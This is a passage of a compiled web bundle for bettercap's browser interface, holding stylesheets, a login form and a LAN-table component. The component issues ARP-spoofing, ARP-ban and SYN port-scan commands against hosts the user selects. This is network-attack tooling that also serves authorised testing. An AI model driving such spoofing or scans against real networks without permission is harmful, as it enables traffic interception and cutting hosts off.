0.95);\\n}\\n\\ntd.metas .badge {\\n margin-left: 5px;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbGFuLXRhYmxlL2xhbi10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9sYW4tdGFibGUvbGFuLXRhYmxlLmNvbXBvbmVudC5zY3NzIiwiL1VzZXJzL2V2aWxzb2NrZXQvQmFoYW11dC9MYWIvYmV0dGVyY2FwL3VpL3N0ZGluIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0ksa0NBQUE7RUFDQSxnQkFBQTtFQUNBLGdCQUFBO0VBQ0Esa0JBQUE7RUFDQSxnQkFBQTtFQUNBLFFBQUE7RUFDQSxTQUFBO0VBQ0Esd0NBQUE7VUFBQSxnQ0FBQTtFQUNBLGFBQUE7RUFDQSxZQUFBO0VBQ0EsYUFBQTtFQUNBLG9CQUFBO0FDQ0o7O0FERUE7RUFDSSxpQkFBQTtFQUNBLGlCQUFBO0FDQ0o7O0FERUE7RUFDSSx5QkFBQTtBQ0NKOztBREVBO0VBQ0ksYUFBQTtFQUNBLGtCQUFBO0VBQ0EsUUFBQTtFQUNBLFlBQUE7RUFDQSx5QkFBQTtFQUNBLGtCQUFBO0VBQ0EseUJBQUE7RUFDQSxjQUFBO0VBQ0EsaUJBQUE7QUNDSjs7QURFQTtFQUNJLGNBQUE7RUFDQSxZQUFBO0VBQ0EseUJBQUE7RUFDQSxrQkFBQTtFQUNBLHlCQUFBO0VBQ0EsaUJBQUE7QUNDSjs7QURFUTtFQUNJLFlBQUE7RUFDQSxlQUFBO0FDQVo7O0FEQ1k7RUFDSSx5QkFBQTtBQ0NoQjs7QURDWTtFQUNJLHVCQUFBO0VBQ0Esc0JBQUE7RUFDQSxjQUFBO0VBQ0EsZUFBQTtBQ0NoQjs7QURBZ0I7RUFDSSxxQkFBQTtBQ0VwQjs7QURLQTtFQUNJLFdBQUE7RUFDQSxPQUFBO0FDRko7O0FES0E7RUFDSSx5QkFBQTtBQ0ZKOztBREdJO0VBQ0ksaUJBQUE7QUNEUjs7QURLQTs7O0VBR0ksbUJBQUE7QUNGSjs7QURPUTtFQUNJLHdDQUFBO0FDSlo7O0FDOUVJO0VBQ0ksZ0JBQUE7QURpRlIiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL2xhbi10YWJsZS9sYW4tdGFibGUuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIucGF1c2VkOmFmdGVyIHtcbiAgICBmb250LWZhbWlseTogJ0ZvbnQgQXdlc29tZSA1IEZyZWUnO1xuICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgY29udGVudDogXCJcXGYwNGNcIjsgXG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGZvbnQtc2l6ZTogNDAwcHg7XG4gICAgdG9wOiA1MCU7XG4gICAgbGVmdDogNTAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpO1xuICAgIG9wYWNpdHk6IC4wMjtcbiAgICBjb2xvcjogd2hpdGU7XG4gICAgei1pbmRleDogMTAwMDtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuZGl2LnRhYmxlLXJlc3BvbnNpdmUge1xuICAgIG1pbi1oZWlnaHQ6IDYwMHB4O1xuICAgIG92ZXJmbG93OiBpbml0aWFsO1xufVxuXG4udGFibGUgLnRhYmxlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xufVxuXG5kaXYudGFibGUtZHJvcGRvd24ge1xuICAgIHotaW5kZXg6IDEwMDA7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHJpZ2h0OiAwO1xuICAgIHBhZGRpbmc6IDVweDtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xuICAgIGRpc3BsYXk6IHRhYmxlO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG59XG5cbmRpdi5tZW51LWRyb3Bkb3duIHtcbiAgICB6LWluZGV4OiA5OTk5OTtcbiAgICBwYWRkaW5nOiA1cHg7XG4gICAgYm9yZGVyOiAxcHggc29saWQgIzIxMjUyOTtcbiAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzMxMzUzOTtcbiAgICBmb250LXNpemU6IC44cmVtO1xuXG4gICAgdWwge1xuICAgICAgICBsaSB7XG4gICAgICAgICAgICBwYWRkaW5nOiA1cHg7XG4gICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDE0NTQ5O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cbi5kcm9wLWxlZnQge1xuICAgIHJpZ2h0OiBhdXRvO1xuICAgIGxlZnQ6IDA7XG59XG5cbnRyLmFsaXZlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xuICAgIHRkLnRpbWUge1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDsgXG4gICAgfVxufVxuXG50ZC5ub3dyYXAsXG50aC5ub3dyYXAsXG50ci5ub3dyYXAge1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG59XG5cbnRhYmxlLnRhYmxlLWRhcmsge1xuICAgIHRib2R5IHtcbiAgICAgICAgdHI6aG92ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgzOCwgNDUsIDUzLCAwLjk1KTtcbiAgICAgICAgfVxuICAgIH1cbn1cbiIsIi5wYXVzZWQ6YWZ0ZXIge1xuICBmb250LWZhbWlseTogXCJGb250IEF3ZXNvbWUgNSBGcmVlXCI7XG4gIGZvbnQtd2VpZ2h0OiA5MDA7XG4gIGNvbnRlbnQ6IFwiXFxmMDRjXCI7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgZm9udC1zaXplOiA0MDBweDtcbiAgdG9wOiA1MCU7XG4gIGxlZnQ6IDUwJTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gIG9wYWNpdHk6IDAuMDI7XG4gIGNvbG9yOiB3aGl0ZTtcbiAgei1pbmRleDogMTAwMDtcbiAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG59XG5cbmRpdi50YWJsZS1yZXNwb25zaXZlIHtcbiAgbWluLWhlaWdodDogNjAwcHg7XG4gIG92ZXJmbG93OiBpbml0aWFsO1xufVxuXG4udGFibGUgLnRhYmxlIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMxMzUzOTtcbn1cblxuZGl2LnRhYmxlLWRyb3Bkb3duIHtcbiAgei1pbmRleDogMTAwMDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICByaWdodDogMDtcbiAgcGFkZGluZzogNXB4O1xuICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMTM1Mzk7XG4gIGRpc3BsYXk6IHRhYmxlO1xuICBmb250LXNpemU6IDAuOHJlbTtcbn1cblxuZGl2Lm1lbnUtZHJvcGRvd24ge1xuICB6LWluZGV4OiA5OTk5OTtcbiAgcGFkZGluZzogNXB4O1xuICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMTM1Mzk7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xufVxuZGl2Lm1lbnUtZHJvcGRvd24gdWwgbGkge1xuICBwYWRkaW5nOiA1cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzQxNDU0OTtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpIGEge1xuICBjb2xvcjogd2hpdGUgIWltcG9ydGFudDtcbiAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpIGE6aG92ZXIge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG59XG5cbi5kcm9wLWxlZnQge1xuICByaWdodDogYXV0bztcbiAgbGVmdDogMDtcbn1cblxudHIuYWxpdmUge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xufVxudHIuYWxpdmUgdGQudGltZSB7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuXG50ZC5ub3dyYXAsXG50aC5ub3dyYXAsXG50ci5ub3dyYXAge1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xufVxuXG50YWJsZS50YWJsZS1kYXJrIHRib2R5IHRyOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgzOCwgNDUsIDUzLCAwLjk1KTtcbn1cblxudGQubWV0YXMgLmJhZGdlIHtcbiAgbWFyZ2luLWxlZnQ6IDVweDtcbn0iLCJAaW1wb3J0IFwidGFibGVzXCI7XG5cbnRkLm1ldGFzIHtcbiAgICAuYmFkZ2Uge1xuICAgICAgICBtYXJnaW4tbGVmdDogNXB4O1xuICAgIH1cbn1cbiJdfQ== */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { SortService, ColumnSortedEvent } from '../../services/sort.service';\nimport { ApiService } from '../../services/api.service';\nimport { Host } from '../../models/host';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { ClipboardService } from '../../services/clipboard.service';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-lan-table',\n templateUrl: './lan-table.component.html',\n styleUrls: ['./lan-table.component.scss']\n})\nexport class LanTableComponent implements OnInit, OnDestroy {\n hosts: Host[] = [];\n\n isSpoofing: boolean = false;\n viewSpoof: boolean = false;\n spoofList: any = {};\n spoofOpts: any = {\n targets: '',\n whitelist: '',\n fullduplex: false,\n internal: false,\n ban: false\n };\n\n scanState: any = {\n scanning: [],\n progress: 0.0\n };\n\n iface: Host;\n gateway: Host;\n sort: ColumnSortedEvent;\n sortSub: any;\n\n visibleMeta = null;\n visibleMenu = null;\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService, public clipboard: ClipboardService) { \n this.sort = {field: 'ipv4', type:'ip', direction: 'desc'};\n this.update(this.api.session);\n }\n\n ngOnInit() {\n this.api.onNewData.subscribe(session => {\n this.update(session);\n });\n\n this.sortSub = this.sortService.onSort.subscribe(event => {\n this.sort = event;\n this.sortService.sort(this.hosts, event);\n });\n }\n\n ngOnDestroy() {\n this.sortSub.unsubscribe();\n }\n\n isSpoofed(host : any) : boolean {\n return (host.ipv4 in this.spoofList);\n }\n\n private updateSpoofOpts() {\n this.spoofOpts.targets = Object.keys(this.spoofList).join(', ');\n }\n\n private resetSpoofOpts() {\n this.spoofOpts = {\n targets: this.api.session.env.data['arp.spoof.targets'],\n whitelist: this.api.session.env.data['arp.spoof.whitelist'],\n fullduplex: this.api.session.env.data['arp.spoof.fullduplex'].toLowerCase() == 'true',\n internal: this.api.session.env.data['arp.spoof.internal'].toLowerCase() == 'true',\n ban: false\n };\n }\n\n hideSpoofMenu() {\n this.viewSpoof = false; \n this.resetSpoofOpts();\n }\n\n showSpoofMenuFor( host : Host, add : boolean ) {\n if( add )\n this.spoofList[host.ipv4] = true;\n else\n delete this.spoofList[host.ipv4];\n\n this.updateSpoofOpts();\n this.visibleMenu = null; \n this.viewSpoof = true;\n }\n\n updateSpoofingList() {\n let newSpoofList = this.spoofList;\n\n $('.spoof-toggle').each((i, toggle) => {\n let $toggle = $(toggle);\n let ip = $toggle.attr('data-ip');\n if( $toggle.is(':checked') ) {\n newSpoofList[ip] = true;\n } else {\n delete newSpoofList[ip];\n }\n });\n\n this.spoofList = newSpoofList;\n this.updateSpoofOpts();\n }\n\n onSpoofStart() {\n if( this.isSpoofing && !confirm(\"This will unspoof the current targets, set the new parameters and restart the module. Continue?\") )\n return;\n\n this.api.cmd('set arp.spoof.targets ' + (this.spoofOpts.targets == \"\" ? '\"\"' : this.spoofOpts.targets));\n this.api.cmd('set arp.spoof.whitelist ' + (this.spoofOpts.whitelist == \"\" ? '\"\"' : this.spoofOpts.whitelist));\n this.api.cmd('set arp.spoof.fullduplex ' + this.spoofOpts.fullduplex);\n this.api.cmd('set arp.spoof.internal ' + this.spoofOpts.internal);\n\n let onCmd = this.spoofOpts.ban ? 'arp.ban on' : 'arp.spoof on';\n \n if( this.isSpoofing ) {\n this.api.cmd('arp.spoof off; ' + onCmd);\n }\n else {\n this.api.cmd(onCmd);\n }\n\n this.viewSpoof = false;\n this.resetSpoofOpts();\n }\n\n private update(session) {\n const ipRe = /^(?=.*[^\\.]$)((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.?){4}$/;\n\n let spoofing = this.api.session.env.data['arp.spoof.targets']\n // split by comma and trim spaces\n .split(',')\n .map(s => s.trim())\n // remove empty elements\n .filter(s => s.length);\n\n this.isSpoofing = this.api.module('arp.spoof').running;\n this.scanState = this.api.module('syn.scan').state;\n\n // freeze the interface while the user is doing something\n if( this.viewSpoof || $('.menu-dropdown').is(':visible') )\n return;\n \n this.resetSpoofOpts();\n this.spoofList = {};\n // if there are elements that are not IP addresses, it means the user\n // has set the variable manually, which overrides the UI spoof list.\n for( let i = 0; i < spoofing.length; i++ ) {\n if( ipRe.test(spoofing[i]) ) {\n this.spoofList[spoofing[i]] = true; \n } else {\n this.spoofList = {};\n break;\n }\n }\n\n this.iface = session.interface;\n this.gateway = session.gateway;\n this.hosts = [];\n\n // if we `this.hosts` = session.lan['hosts'], pushing\n // to this.hosts will also push to the session object\n // duplicating the iface and gateway.\n for( var i = 0; i < session.lan['hosts'].length; i++ ){\n let host = session.lan['hosts'][i];\n // get traffic details for this host\n let sent = 0, received = 0;\n if( host.ipv4 in session.packets.traffic ) {\n let traffic = session.packets.traffic[host.ipv4];\n sent = traffic.sent;\n received = traffic.received;\n }\n\n host.sent = sent;\n host.received = received;\n\n this.hosts.push(host); \n }\n\n if( this.iface.mac == this.gateway.mac ) {\n this.hosts.push(this.iface);\n } else {\n this.hosts.push(this.iface);\n this.hosts.push(this.gateway);\n }\n\n this.sortService.sort(this.hosts, this.sort)\n }\n\n setAlias(host) {\n $('#in').val(host.alias);\n $('#inhost').val(host.mac);\n $('#inputModalTitle').html('Set alias for ' + host.mac);\n $('#inputModal').modal('show');\n }\n\n doSetAlias() {\n $('#inputModal').modal('hide');\n\n let mac = $('#inhost').val();\n let alias = $('#in').val();\n\n if( alias.trim() == \"\" )\n alias = '\"\"';\n\n this.api.cmd(\"alias \" + mac + \" \" + alias);\n }\n\n showScannerModal(host) {\n $('#scanIP').val(host.ipv4);\n $('#startPort').val('1');\n $('#endPort').val('10000');\n $('#scannerModal').modal('show');\n }\n\n doPortScan() {\n let ip = $('#scanIP').val();\n let startPort = $('#startPort').val();\n let endPort = $('#endPort').val();\n $('#scannerModal').modal('hide');\n\n this.api.cmd(\"syn.scan \" + ip +\" \" + startPort + \" \" + endPort);\n }\n\n groupMetas(metas) {\n let grouped = {};\n for( let name in metas ) {\n let parts = name.split(':'),\n group = parts[0].toUpperCase(),\n sub = parts[1];\n\n if( group in grouped ) {\n grouped[group][sub] = metas[name];\n } else {\n grouped[group] = {};\n grouped[group][sub] = metas[name];\n }\n }\n // console.log(\"grouped\", grouped);\n return grouped;\n }\n}\n","module.exports = \"
\\n\"","module.exports = \".form-signin {\\n width: 100%;\\n max-width: 500px;\\n padding: 15px;\\n position: absolute;\\n top: 50%;\\n left: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n background-color: white;\\n}\\n\\n.form-signin .form-control:focus {\\n z-index: 2;\\n}\\n\\n.form-signin input[type=text] {\\n margin-bottom: -1px;\\n border-bottom-right-radius: 0;\\n border-bottom-left-radius: 0;\\n}\\n\\n.form-signin input[type=password] {\\n margin-bottom: 10px;\\n border-top-left-radius: 0;\\n border-top-right-radius: 0;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxXQUFBO0VBRUEsZ0JBQUE7RUFDQSxhQUFBO0VBQ0Esa0JBQUE7RUFDQSxRQUFBO0VBQ0EsU0FBQTtFQUNBLHdDQUFBO1VBQUEsZ0NBQUE7RUFDQSx1QkFBQTtBQ0FKOztBRFFBO0VBQ0ksVUFBQTtBQ0xKOztBRFFBO0VBQ0ksbUJBQUE7RUFDQSw2QkFBQTtFQUNBLDRCQUFBO0FDTEo7O0FEUUE7RUFDSSxtQkFBQTtFQUNBLHlCQUFBO0VBQ0EsMEJBQUE7QUNMSiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIuZm9ybS1zaWduaW4ge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIC8vIG1heC13aWR0aDogMzMwcHg7XG4gICAgbWF4LXdpZHRoOiA1MDBweDtcbiAgICBwYWRkaW5nOiAxNXB4O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG59XG5cblxuLmZvcm0tc2lnbmluIC5mb3JtLWNvbnRyb2wge1xuXG59XG5cbi5mb3JtLXNpZ25pbiAuZm9ybS1jb250cm9sOmZvY3VzIHtcbiAgICB6LWluZGV4OiAyO1xufVxuXG4uZm9ybS1zaWduaW4gaW5wdXRbdHlwZT1cInRleHRcIl0ge1xuICAgIG1hcmdpbi1ib3R0b206IC0xcHg7XG4gICAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG4gICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbn1cblxuLmZvcm0tc2lnbmluIGlucHV0W3R5cGU9XCJwYXNzd29yZFwiXSB7XG4gICAgbWFyZ2luLWJvdHRvbTogMTBweDtcbiAgICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xuICAgIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xufVxuIiwiLmZvcm0tc2lnbmluIHtcbiAgd2lkdGg6IDEwMCU7XG4gIG1heC13aWR0aDogNTAwcHg7XG4gIHBhZGRpbmc6IDE1cHg7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiA1MCU7XG4gIGxlZnQ6IDUwJTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xufVxuXG4uZm9ybS1zaWduaW4gLmZvcm0tY29udHJvbDpmb2N1cyB7XG4gIHotaW5kZXg6IDI7XG59XG5cbi5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPXRleHRdIHtcbiAgbWFyZ2luLWJvdHRvbTogLTFweDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG4gIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7XG59XG5cbi5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPXBhc3N3b3JkXSB7XG4gIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xufSJdfQ== */\"","import { Component, OnInit, OnDestroy } from '@angular/core';\nimport { Router, ActivatedRoute } from \"@angular/router\";\nimport { FormBuilder, FormGroup, Validators } from '@angular/forms';\nimport { ApiService } from '../../services/api.service';\nimport { environment } from '../../../environments/environment';\n\nimport * as urlParse from 'url-parse';\n\n@Component({\n selector: 'ui-login',\n templateUrl: './login.component.html',\n styleUrls: ['./login.component.scss']\n})\nexport class LoginComponent implements OnInit, OnDestroy {\n loginForm: FormGroup;\n submitted: boolean = false;\n error: any;\n mismatch: any = null;\n subscriptions: any = [];\n returnTo: string = \"/\";\n env: any = environment;\n\n constructor(private api: ApiService, private formBuilder: FormBuilder, private route: ActivatedRoute, private router: Router) {\n console.log(\"env:\", this.env);\n\n if( this.api.Ready() ) {\n console.log(\"user already logged in\");\n this.router.navigateByUrl(\"/\");\n }\n }\n\n ngOnInit() {\n this.api.logout();\n this.returnTo = this.route.snapshot.queryParams['returnTo'] || '/';\n\n this.loginForm = this.formBuilder.group({\n username: [''],\n password: [''],\n url: [this.api.settings.URL(), Validators.required]\n });\n\n this.subscriptions = [\n this.api.onSessionError.subscribe(error => {\n console.log(error);\n this.error = error;\n console.log(\"session error:\" + error);\n }),\n this.api.onLoggedOut.subscribe(error => {\n this.error = error;\n console.log(\"logged out:\" + error);\n }),\n this.api.onLoggedIn.subscribe(() => {\n console.log(\"logged in\");\n this.router.navigateByUrl(this.returnTo);\n })\n ];\n }\n\n ngOnDestroy() {\n for( let i = 0; i < this.subscriptions.length; i++ ){\n this.subscriptions[i].unsubscribe();\n }\n this.subscriptions = [];\n }\n\n get form() { \n return this.loginForm.controls; \n }\n\n onSubmit() {\n this.error = null;\n this.submitted = true;\n if( !this.loginForm.invalid ) {\n let parsed = urlParse(this.form.url.value, false);\n\n this.api.settings.schema = parsed.protocol;\n this.api.settings.host = parsed.hostname;\n this.api.settings.port = parsed.port;\n this.api.settings.path = parsed.pathname;\n\n this.api\n .login(this.form.username.value, this.form.password.value)\n .subscribe(\n (value) => {},\n (error) => { this.error = error; }\n );\n }\n }\n}\n","module.exports = \"
\\n\\n \\n\\n \\n\\n\\n
\\n
\\n
ERROR
\\n
\\n {{ sessionError.message }}\\n
\\n
\\n
\\n\\n
\\n
\\n
WARNING
\\n
\\n {{ api.settings.URL() }} is using an insecure connection, refer to the documentation to configure the api.rest module to use SSL.
\\n
\\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n \\n
\\n
\\n {{ commandError.error | unbash }}\\n
\\n
\\n
\\n
\\n\"","module.exports = \"/* Colors */\\n/* Fonts */\\n/* Colors */\\n/* Fonts */\\n.mono {\\n font-family: \\\"Roboto Mono\\\", monospace;\\n}\\n.btn-action {\\n font-weight: 100;\\n font-size: 0.8rem;\\n white-space: nowrap;\\n padding: 0.05rem 0.3rem;\\n line-height: 1;\\n border-radius: 0.1rem;\\n}\\n.btn-tiny {\\n font-size: 0.7rem !important;\\n}\\nbutton.btn-event {\\n font-size: 0.8rem;\\n padding: 0.05rem 0.3rem;\\n line-height: 1;\\n border-radius: 0.1rem;\\n}\\n.navbar {\\n padding: 0.2rem 0;\\n}\\n@media (min-width: 768px) {\\n .navbar {\\n padding: 0.5rem 0;\\n }\\n}\\n.navbar .navbar-nav {\\n display: block;\\n width: 100%;\\n}\\n.navbar .navbar-nav li.nav-item {\\n float: left;\\n margin-left: 5px;\\n}\\n@media (min-width: 768px) {\\n .navbar .navbar-nav li.nav-item {\\n margin-left: 10px;\\n }\\n}\\n.navbar .navbar-nav li.nav-item:first {\\n margin-left: 0px;\\n}\\n.navbar .navbar-nav li.right {\\n float: right;\\n margin-left: 0;\\n margin-right: 10px;\\n}\\n.navbar .navbar-nav .nav-link {\\n text-align: center;\\n display: table-cell;\\n vertical-align: middle;\\n padding-top: 0;\\n padding-bottom: 0;\\n height: 50px;\\n}\\n@media (min-width: 768px) {\\n .navbar .navbar-nav .nav-link {\\n height: 70px;\\n }\\n}\\n.navbar .navbar-nav .nav-link .nav-text {\\n display: none;\\n}\\n@media (min-width: 768px) {\\n .navbar .navbar-nav .nav-link .nav-text {\\n display: inline;\\n }\\n}\\n.navbar .navbar-nav .nav-link > *[class^=fa] {\\n display: block;\\n position: relative;\\n width: 48px;\\n font-size: 24px;\\n top: 0;\\n margin: 2px auto 4px auto;\\n line-height: 24px;\\n}\\n.navbar .navbar-nav .nav-link > *[class^=fa] .badge {\\n font-size: 0.75rem;\\n position: absolute;\\n right: 0;\\n top: -7px;\\n font-family: sans-serif;\\n}\\n#sessionError {\\n padding: 5px;\\n background-color: #343a40;\\n}\\ndiv.error-header {\\n background-color: #d2322d;\\n color: white;\\n border-bottom: 1px solid #c2221d;\\n}\\ndiv.error-body {\\n text-align: center;\\n}\\n.toast-bootstrap-compatibility-fix {\\n opacity: 1;\\n}\\ndiv.toast-message {\\n font-size: 10rem !important;\\n}\\n.navbar-dark .navbar-nav .active > .nav-link, .navbar-dark .navbar-nav .nav-link.active, .navbar-dark .navbar-nav .nav-link.show, .navbar-dark .navbar-nav .show > .nav-link {\\n text-shadow: 0 2px 5px rgba(0, 0, 0, 0.26), 0 2px 5px rgba(0, 0, 0, 0.33);\\n}\\nli.replayDate {\\n padding-top: 40px;\\n font-size: 0.8rem;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbWFpbi1oZWFkZXIvbWFpbi1oZWFkZXIuY29tcG9uZW50LnNjc3MiLCIvVXNlcnMvZXZpbHNvY2tldC9CYWhhbXV0L0xhYi9iZXR0ZXJjYXAvdWkvc3JjL3BhcnRpYWxzL2J1dHRvbnMuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9tYWluLWhlYWRlci9tYWluLWhlYWRlci5jb21wb25lbnQuc2NzcyIsIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxXQUFBO0FBUUEsVUFBQTtBQVJBLFdBQUE7QUFRQSxVQUFBO0FDTkE7RUFDSSxxQ0FBQTtBQ0dKO0FEQUE7RUFFSSxnQkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFDQSx1QkFBQTtFQUNBLGNBQUE7RUFDQSxxQkFBQTtBQ0VKO0FEQ0E7RUFDSSw0QkFBQTtBQ0VKO0FEQ0E7RUFDSSxpQkFBQTtFQUNBLHVCQUFBO0VBQ0EsY0FBQTtFQUNBLHFCQUFBO0FDRUo7QUN2QkE7RUFDSSxpQkFBQTtBRDBCSjtBQ3hCSTtFQUhKO0lBSVEsaUJBQUE7RUQyQk47QUFDRjtBQ3pCSTtFQUNJLGNBQUE7RUFDQSxXQUFBO0FEMkJSO0FDekJRO0VBQ0ksV0FBQTtFQUNBLGdCQUFBO0FEMkJaO0FDekJZO0VBSko7SUFLUSxpQkFBQTtFRDRCZDtBQUNGO0FDMUJZO0VBQ0ksZ0JBQUE7QUQ0QmhCO0FDeEJRO0VBQ0ksWUFBQTtFQUNBLGNBQUE7RUFDQSxrQkFBQTtBRDBCWjtBQ3RCSTtFQUNJLGtCQUFBO0VBQ0EsbUJBQUE7RUFDQSxzQkFBQTtFQUNBLGNBQUE7RUFDQSxpQkFBQTtFQUNBLFlBQUE7QUR3QlI7QUN0QlE7RUFSSjtJQVNRLFlBQUE7RUR5QlY7QUFDRjtBQ3ZCUTtFQUNJLGFBQUE7QUR5Qlo7QUN4Qlk7RUFGSjtJQUdRLGVBQUE7RUQyQmQ7QUFDRjtBQ3hCUTtFQUNJLGNBQUE7RUFDQSxrQkFBQTtFQUNBLFdBQUE7RUFDQSxlQUFBO0VBQ0EsTUFBQTtFQUNBLHlCQUFBO0VBQ0EsaUJBQUE7QUQwQlo7QUN4Qlk7RUFDSSxrQkFBQTtFQUNBLGtCQUFBO0VBQ0EsUUFBQTtFQUNBLFNBQUE7RUFDQSx1QkFBQTtBRDBCaEI7QUNuQkE7RUFDSSxZQUFBO0VBQ0